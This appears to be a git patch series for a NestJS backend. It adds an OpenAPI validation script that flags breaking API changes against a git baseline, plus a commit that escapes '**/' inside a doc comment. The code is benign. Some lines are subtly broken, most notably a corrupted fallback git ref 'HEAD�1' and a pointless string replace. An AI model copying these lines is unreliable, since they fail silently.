dlck1vZHVsZS5jcmVhdGVEb2N1bWVudChhcHAsIGNvbmZpZywgewogICAgZGVlcFNjYW5Sb3V0ZXM6IHRydWUsCiAgfSk7CgogIGNvbnN0IHsgd3JpdGVGaWxlU3luYywgbWtkaXJTeW5jIH0gPSBhd2FpdCBpbXBvcnQoImZzIik7CiAgY29uc3QgeyBqb2luIH0gPSBhd2FpdCBpbXBvcnQoInBhdGgiKTsKCiAgY29uc3Qgb3V0RGlyID0gam9pbihfX2Rpcm5hbWUsICIuLiIsICJkb2NzIik7CiAgbWtkaXJTeW5jKG91dERpciwgeyByZWN1cnNpdmU6IHRydWUgfSk7CgogIHdyaXRlRmlsZVN5bmMoCiAgICBqb2luKG91dERpciwgIm9wZW5hcGkuanNvbiIpLAogICAgSlNPTi5zdHJpbmdpZnkoZG9jdW1lbnQsIG51bGwsIDIpLAogICAgInV0Zi04IiwKICApOwoKICBhd2FpdCBhcHAuY2xvc2UoKTsKfQoKYXN5bmMgZnVuY3Rpb24gbWFpbigpOiBQcm9taXNlPHZvaWQ+IHsKICB0cnkgewogICAgY29uc3Qgb3B0aW9ucyA9IHBhcnNlQXJndigpOwogICAgY29uc3QgcmVzdWx0ID0gYXdhaXQgdmFsaWRhdGVPcGVuQVBJKG9wdGlvbnMpOwoKICAgIGlmICghcmVzdWx0LnZhbGlkKSB7CiAgICAgIHByb2Nlc3MuZXhpdCgxKTsKICAgIH0KCiAgICBwcm9jZXNzLmV4aXQoMCk7CiAgfSBjYXRjaCAoZXJyb3IpIHsKICAgIGNvbnNvbGUuZXJyb3IoIlZhbGlkYXRpb24gc2NyaXB0IGVycm9yOiIsIGVycm9yKTsKICAgIHByb2Nlc3MuZXhpdCgxKTsKICB9Cn0KCmlmIChyZXF1aXJlLm1haW4gPT09IG1vZHVsZSkgewogIG1haW4oKTsKfQoKZXhwb3J0IHsgdmFsaWRhdGVPcGVuQVBJLCBWYWxpZGF0aW9uUmVzdWx0IH07Cg== \ No newline at end of file +/** + * OpenAPI Specification Validation Script + * + * Validates the generated OpenAPI specification for completeness and consistency, + * and detects breaking REST API contract changes against a git baseline. + * + * Usage: + * npm run openapi:validate + * npm run openapi:validate -- --allow-breaking-changes + * npm run openapi:validate -- --baseline git:Origin/main + */ + +import { NestFactory } from "@nestjs/core"; +import { DocumentBuilder, SwaggerModule, OpenAPIObject } from "@nestjs/swagger"; +import { readFileSync, existsSync } from "fs"; +import { join } from "path"; +import { execFileSync } from "child_process"; +import { AppModule } from "../src/app.module"; + +interface ValidationResult { + valid: boolean; + errors: string[]; + warnings: string[]; + breakingChanges: BreakingChange[]; + stats: { + endpoints: number; + schemas: number; + tags: number; + securitySchemes: number; + }; +} + +export type BreakingChangeKind = + | "removed-endpoint" + | "removed-method" + | "removed-response-status" + | "removed-response-property" + | "changed-property-type" + | "added-required-request-parameter" + | "added-required-request-body-property" + | "removed-path-parameter" + | "changed-parameter-type"; + +export interface BreakingChange { + kind: BreakingChangeKind; + location: string; + message: string; +} + +export interface CompareOptions { + allowBreakingChanges?: boolean; + baselineRef?: string; +} + +const HTTP_METHODS = [ + "get", + "post", + "put", + "delete", + "patch", + "options", + "head", +] as const; + +/** + * Resolve the git baseline OpenAPI JSON document. Prefers an explicit ref + * (usually from CI, e.g. git:ORIGIN_HEAD~1 or git:origin/main). Falls back + * to a sensible default and returns null when no baseline is available. + */ +export function resolveBaselineSpec(baselineRef?: string): OpenAPIObject | null { + const ref = baselineRef || process.env.OPENAPI_BASELINE_REF || "git:HEAD~1"; + const [source, refName] = ref.split(":", 2); + + if (source === "file") { + if (!existsSync(refName)) { + return null; + } + try { + return JSON.parse(readFileSync(refName, "utf-8")) as OpenAPIObject; + } catch { + return null; + } + } + + if (source !== "git") { + return null; + } + + const gitRef = refName || "HEAD�1"; + try { + const out = execFileSync( + "git", + ["show", `${gitRef}:docs/openapi.json`], + { encoding: "utf-8", maxBuffer: 64 * 1024 * 1024 }, + ); + return JSON.parse(out) as OpenAPIObject; + } catch { + return null; + } +} + +function resolveRef(spec: any, ref: string): any { + if (!ref || !ref.startsWith("#/")) { + return undefined; + } + const parts = ref.substring(1).split("/"); + let cur = spec; + for (const part of parts) { + if (cur == null) { + return undefined; + } + cur = cur[decodeURIComponent(part)]; + } + return cur; +} + +function normalizeType(type: any): string { + if (type == null) { + return "unknown"; + } + if (Array.isArray(type)) { + return type.map((t) => String(t)).sort().join("|"); + } + return String(type); +} + +function describeSchema(schema: any): string { + if (!schema) { + return "unknown"; + } + if (schema.$ref) { + return schema.$ref; + } + if (schema.allOf) { + return schema.allOf.map(describeSchema).join(" & "); + } + if (schema.oneOf) { + return schema.oneOf.map(describeSchema).join(" | "); + } + if (schema.anyOf) { + return schema.anyOf.map(describeSchema).join(" | "); + } + if (schema.type === "array") { + return `Array<${describeSchema(schema.items)}>`; + } + if (schema.type === "object" || schema.properties) { + return "object"; + } + return normalizeType(schema.type); +} + +function getResolvedSchema(spec: any, schema: any): any { + if (!schema) { + return schema; + } + if (schema.$ref) { + const resolved = resolveRef(spec, schema.$ref); + return resolved || schema; + } + return schema; +} + +function collectResponseProperties( + spec: any, + schema: any, + prefix: string, + out: Map, + visited: Set, +): void { + const resolved = getResolvedSchema(spec, schema); + if (!resolved) { + return; + } + + if (resolved.$ref) { + if (visited.has(resolved.$ref)) { + return; + } + visited.add(resolved.$ref); + } + + if (resolved.allOf) { + for (const part of resolved.allOf) { + collectResponseProperties(spec, part, prefix, out, visited); + } + } + + if (resolved.properties) { + for (const [key, value] of Object.entries(resolved.properties as Record)) { + const path = prefix ? `${prefix}.${key}` : key; + out.set(path, describeSchema(value)); + const nested = getResolvedSchema(spec, value); + if (nested && (nested.properties || nested.allOf)) { + collectResponseProperties(spec, nested, path, out, visited); + } + } + } +} + +function collectRequestBodyProperties( + spec: any, + schema: any, + prefix: string, + out: Map, + visited: Set, +): void { + const resolved = getResolvedSchema(spec, schema); + if (!resolved) { + return; + } + + if (resolved.$ref) { + if (visited.has(resolved.$ref)) { + return; + } + visited.add(resolved.$ref); + } + + if (resolved.allOf) { + for (const part of resolved.allOf) { + collectRequestBodyProperties(spec, part, prefix, out, visited); + } + } + + if (resolved.properties) { + for (const [key, value] of Object.entries(resolved.properties as Record)) { + const path = prefix ? `${prefix}.${key}` : key; + out.set(path, describeSchema(value)); + const nested = getResolvedSchema(spec, value); + if (nested && (nested.properties || nested.allOf)) { + collectRequestBodyProperties(spec, nested, path, out, visited); + } + } + } +} + +function collectRequestBodyRequired( + spec: any, + schema: any, + prefix: string, + out: Map, + visited: Set, +): void { + const resolved = getResolvedSchema(spec, schema); + if (!resolved) { + return; + } + + if (resolved.$ref) { + if (visited.has(resolved.$ref)) { + return; + } + visited.add(resolved.$ref); + } + + if (resolved.allOf) { + for (const part of resolved.allOf) { + collectRequestBodyRequired(spec, part, prefix, out, visited); + } + } + + if (resolved.properties) { + const required: string[] = Array.isArray(resolved.required) + ? resolved.required + : []; + for (const [key, value] of Object.entries(resolved.properties as Record)) { + const path = prefix ? `${prefix}.${key}` : key; + if (required.includes(key)) { + out.set(path, describeSchema(value)); + } + const nested = getResolvedSchema(spec, value); + if (nested && (nested.properties || nested.allOf)) { + collectRequestBodyRequired(spec, nested, path, out, visited); + } + } + } +} + +function collectResponseStatuses(operation: any): Map { + const out = new Map(); + for (const [status, response] of Object.entries( + (operation.responses || {}) as Record, + )) { + out.set(String(status), response); + } + return out; +} + +function collectParameters(operation: any): Map { + const out = new Map(); + const params = Array.isArray(operation.parameters) + ? operation.parameters + : []; + for (const param of params) { + if (!param || !param.name) { + continue; + } + const key = `${param.in || "query"}:${param.name}`; + out.set(key, param); + } + return out; +} + +export function detectBreakingChanges( + baseline: OpenAPIObject | null, + current: OpenAPIObject, +): BreakingChange[] { + const changes: BreakingChange[] = []; + + if (!baseline) { + return changes; + } + + const basePaths = (baseline.paths || {}) as Record; + const currPaths = (current.paths || {}) as Record; + + for (const [path, baseItem] of Object.entries(basePaths)) { + const currItem = currPaths[path]; + if (!currItem) { + changes.push({ + kind: "removed-endpoint", + location: path, + message: `Endpoint ${path} was removed`, + }); + continue; + } + + for (const method of HTTP_METHODS) { + const baseOp = baseItem[method]; + if (!baseOp) { + continue; + } + const currOp = currItem[method]; + const location = `${method.toUpperCase()} ${path}`; + if (!currOp) { + changes.push({ + kind: "removed-method", + location, + message: `Method ${method.toUpperCase()} ${path} was removed`, + }); + continue; + } + + // Response status codes + const baseResponses = collectResponseStatuses(baseOp); + const currResponses = collectResponseStatuses(currOp); + for (const [status, baseResponse] of baseResponses) { + const currResponse = currResponses.get(status); + if (!currResponse) { + changes.push({ + kind: "removed-response-status", + location: `${location} -> ${status}`, + message: `Response status ${status} was removed from ${location}`, + }); + continue; + } + + const baseSchema = baseResponse.content?.["application/json"]?.schema; + const currSchema = currResponse.content?.["application/json"]?.schema; + if (!baseSchema) { + continue; + } + if (!currSchema) { + changes.push({ + kind: "removed-response-property", + location: `${location} -> ${status} body`, + message: `Response body schema was removed for ${location} (${status})`, + }); + continue; + } + + const baseProps = new Map(); + collectResponseProperties( + baseline as any, + baseSchema, + "", + baseProps, + new Set(), + ); + const currProps = new Map(); + collectResponseProperties( + current as any, + currSchema, + "", + currProps, + new Set(), + ); + + for (const [prop, baseType] of baseProps) { + const currType = currProps.get(prop); + if (currType === undefined) { + changes.push({ + kind: "removed-response-property", + location: `${location} -> ${status} -> ${prop}`, + message: `Response property ${prop} was removed from ${location} (${status})`, + }); + } else if (currType !== baseType) { + changes.push({ + kind: "changed-property-type", + location: `${location} -> ${status} -> ${prop}`, + message: `Response property ${prop} type changed from '${baseType}' to '${currType}' in ${location} (${status})`, + }); + } + } + } + + // Parameters + const baseParams = collectParameters(baseOp); + const currParams = collectParameters(currOp); + for (const [key, baseParam] of baseParams) { + const currParam = currParams.get(key); + if (!currParam) { + if (baseParam.in === "path") { + changes.push({ + kind: "removed-path-parameter", + location: `${location} -> ${key}`, + message: `Path parameter ${baseParam.name} was removed from ${location}`, + }); + } + continue; + } + const baseType = normalizeType(baseParam.schema?.type); + const currType = normalizeType(currParam.schema?.type); + if (baseType !== currType) { + changes.push({ + kind: "changed-parameter-type", + location: `${location} -> ${key}`, + message: `Parameter ${baseParam.name} type changed from '${baseType}' to '${currType}' in ${location}`, + }); + } + } + + for (const [key, currParam] of currParams) { + if (baseParams.has(key)) { + continue; + } + if (currParam.required === true) { + changes.push({ + kind: "added-required-request-parameter", + location: `${location} -> ${key}`, + message: `Required parameter ${currParam.name} (${currParam.in}) was added to ${location}`, + }); + } + } + + // Request body required properties + const baseRequestSchema = + baseOp.requestBody?.content?.["application/json"]?.schema; + const currRequestSchema = + currOp.requestBody?.content?.["application/json"]?.schema; + if (currRequestSchema) { + const baseRequired = new Map(); + if (baseRequestSchema) { + collectRequestBodyRequired( + baseline as any, + baseRequestSchema, + "", + baseRequired, + new Set(), + ); + } + const currRequired = new Map(); + collectRequestBodyRequired( + current as any, + currRequestSchema, + "", + currRequired, + new Set(), + ); + for (const [prop, type] of currRequired) { + if (!baseRequired.has(prop)) { + changes.push({ + kind: "added-required-request-body-property", + location: `${location} -> requestBody -> ${prop}`, + message: `Required request body property ${prop} (${type}) was added to ${location}`, + }); + } + } + } + } + } + + return changes; +} + +function parseArgs(): { allowBreakingChanges: boolean; baselineRef?: string } { + const argv = process.argv.slice(2); + const options = { allowBreakingChanges: false as boolean, baselineRef: undefined as string | undefined }; + for (let i = 0; i < argv.length; i++) { + const arg = argv[i]; + if (arg === "--allow-breaking-changes") { + options.allowBreakingChanges = true; + } else if (arg === "--baseline" && argv[i + 1]) { + options.baselineRef = argv[++i]; + } else if (arg.startsWith("--baseline=")) { + options.baselineRef = arg.substring("--baseline=".length); + } + } + return options; +} + +async function validateOpenAPI( + options: CompareOptions = {}, +): Promise { + const result: ValidationResult = { + valid: true, + errors: [], + warnings: [], + breakingChanges: [], + stats: { + endpoints: 0, + schemas: 0, + tags: 0, + securitySchemes: 0, + }, + }; + + try { + const specPath = join(__dirname, "..", "docs", "openapi.json"); + + if (!existsSync(specPath)) { + console.log("📝 Generating OpenAPI spec first..."); + await generateOpenAPISpec(); + } + + const specContent = readFileSync(specPath, "utf-8"); + const spec: OpenAPIObject = JSON.parse(specContent); + + console.log("\n🔍 Validating OpenAPI Specification\n"); + + if (!spec.openapi) { + result.errors.push("Missing openapi version"); + } + if (!spec.info) { + result.errors.push("Missing info object"); + } + if (!spec.paths) { + result.errors.push("Missing paths object"); + } + + result.stats.endpoints = Object.keys(spec.paths || {}).length; + result.stats.schemas = Object.keys(spec.components?.schemas || {}).length; + result.stats.tags = spec.tags?.length || 0; + result.stats.securitySchemes = Object.keys( + spec.components?.securitySchemes || {}, + ).length; + + const requiredTags = ["Health", "Authentication", "Users", "Oracle"]; + const existingTags = (spec.tags || []).map((t: any) => t.name); + + for (const tag of requiredTags) { + if (!existingTags.includes(tag)) { + result.warnings.push(`Missing recommended tag: ${tag}`); + } + } + + const securitySchemes = spec.components?.securitySchemes || {}; + if (!securitySchemes["JWT-auth"]) { + result.warnings.push("Missing JWT security scheme (JWT-auth)"); + } + if (!securitySchemes["api-key"]) { + result.warnings.push("Missing API key security scheme"); + } + + if (!spec.servers || spec.servers.length === 0) { + result.warnings.push("No servers defined in spec"); + } + + let undocumentedEndpoints = 0; + + for (const [path, pathItem] of Object.entries(spec.paths || {})) { + for (const [method, operation] of Object.entries(pathItem as any) as [string, any][]) { + if ( + ["get", "post", "put", "delete", "patch", "options"].includes(method) + ) { + if (!operation.summary) { + undocumentedEndpoints++; + } + + if (!operation.responses) { + result.warnings.push( + `Missing responses for ${method.toUpperCase()} ${path}`, + ); + } + } + } + } + + if (undocumentedEndpoints > 0) { + result.warnings.push( + `${undocumentedEndpoints} endpoints missing summary documentation`, + ); + } + + // Breaking change detection against the git baseline + const baseline = resolveBaselineSpec(options.baselineRef); + if (baseline) { + const breakingChanges = detectBreakingChanges(baseline, spec); + result.breakingChanges = breakingChanges; + + if (breakingChanges.length > 0) { + console.log( + `\n⚠ Detected ${breakingChanges.length} breaking API change(s) against baseline:`.replace("b ", "b"), + ); + for (const change of breakingChanges) { + console.log(`\n [🔴] ${change.kind}`); + console.log(` 📁 Location: ${change.location}`); + console.log(` ${change.message}`); + } + + if (options.allowBreakingChanges) { + console.log( + "\n⚠️ --allow-breaking-changes was set; breaking changes will not fail CI.\n" + + " Use this only for intentional API major version upgrades.", + ); + } else { + result.errors.push( + `Detected ${breakingChanges.length} breaking API change(s). Run with --allow-breaking-changes to override.`, + ); + result.valid = false; + } + } else { + console.log("\n✅ No breaking API changes detected against baseline."); + } + } else { + console.log( + "\nℹ️ No baseline OpenAPI spec found; skipping breaking change detection.", + ); + } + + console.log("\n📊 Specification Statistics:"); + console.log(` Endpoints: ${result.stats.endpoints}`); + console.log(` Schemas: ${result.stats.schemas}`); + console.log(` Tags: ${result.stats.tags}`); + console.log(` Security Schemes: ${result.stats.securitySchemes}`); + + + if (result.errors.length > 0) { + console.log("\n❌ Validation Errors:"); + for (const message of result.errors) { + console.log(` ✖ ${message}`); + } + result.valid = false; + } + + if (result.warnings.length > 0) { + console.log(`\n⚠️ ${result.warnings.length} warning(s):`); + for (const message of result.warnings) { + console.log(` • ${message}`); + } + } + + if (result.valid) { + console.log( + result.warnings.length > 0 + ? "\n✅ OpenAPI specification is valid (warnings are advisory)." + : "\n✅ OpenAPI specification is valid.", + ); + } else { + console.log("\n❌ OpenAPI specification validation failed."); + } + } catch (error) { + result.errors.push(`Validation error: ${(error as Error).message}`); + result.valid = false; + } + + return result; +} + +async function generateOpenAPISpec(): Promise { + const app = await NestFactory.create(AppModule, { + logger: false, + abortOnError: false, + }); + + const config = new DocumentBuilder() + .setTitle("Trellis Backend API") + .setDescription( + "Comprehensive API documentation for Trellis backend services", + ) + .setVersion("1.0.0") + .setContact("Trellis Team", "https://trellis.example", "support@trellis.example") + .setLicense("MIT", "https://opensource.org/licenses/MIT") + .addServer("http://localhost:3001", "Development Server") + .addServer("https://api.trellis.example", "Production Server") + .addBearerAuth( + { + type: "http", + scheme: "bearer", + bearerFormat: "JWT", + description: "Enter JWT token", + in: "header", + }, + "JWT-auth", + ) + .addApiKey( + { + type: "apiKey", + name: "X-API-Key", + in: "header", + description: "API key for service-to-service communication", + }, + "api-key", + ) + .build(); + + const document = SwaggerModule.createDocument(app, config, { + deepScanRoutes: true, + }); + + const { writeFileSync, mkdirSync } = await import("fs"); + + const outDir = join(__dirname, "..", "docs"); + mkdirSync(outDir, { recursive: true }); + + writeFileSync( + join(outDir, "openapi.json"), + JSON.stringify(document, null, 2), + "utf-8", + ); + + await app.close(); +} + +async function main(): Promise { + try { + const options = parseArgs(); + const result = await validateOpenAPI(options); + process.exit(result.valid ? 0 : 1); + } catch (error) { + console.error("Validation script error:", error); + process.exit(1); + } +} + +main(); + +export { validateOpenAPI, generateOpenAPISpec }; +export type { ValidationResult }; From f28cdfc3d5b18e7e9b8c49a7bbc86e521428a390 Mon Sep 17 00:00:00 2001 From: Okey Amy Date: Sun, 18 Oct 2026 15:01:03 +0100 Subject: [PATCH 4/4] fix: escape **/ inside a doc comment in storage-schema-compatibility 'any nested **/migration/* directory' contains the byte sequence */ in the middle of a block comment, which closes it early; the word 'followed by migration' then parses as code and tsc fails with TS2304: Cannot find name 'migration'. That error aborted every ts-node boot path (openapi:export, openapi:validate). Escape the slash so the glob stays readable. --- src/storage-compatibility/storage-schema-compatibility.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/storage-compatibility/storage-schema-compatibility.ts b/src/storage-compatibility/storage-schema-compatibility.ts index 7e6b249d..07d70670 100644 --- a/src/storage-compatibility/storage-schema-compatibility.ts +++ b/src/storage-compatibility/storage-schema-compatibility.ts @@ -101,7 +101,7 @@ function migrationFileVersion(fileName: string): MigrationVersion | null { /** * Discover the same migration locations configured by src/config/typeorm.config.ts: - * src/migrations/* and any nested **/migration/* directory. + * src/migrations/* and any nested **\/migration/* directory. * * Only timestamp-prefixed migration source/build files are considered. The * timestamp is TypeORM's durable migration identity and is also what is stored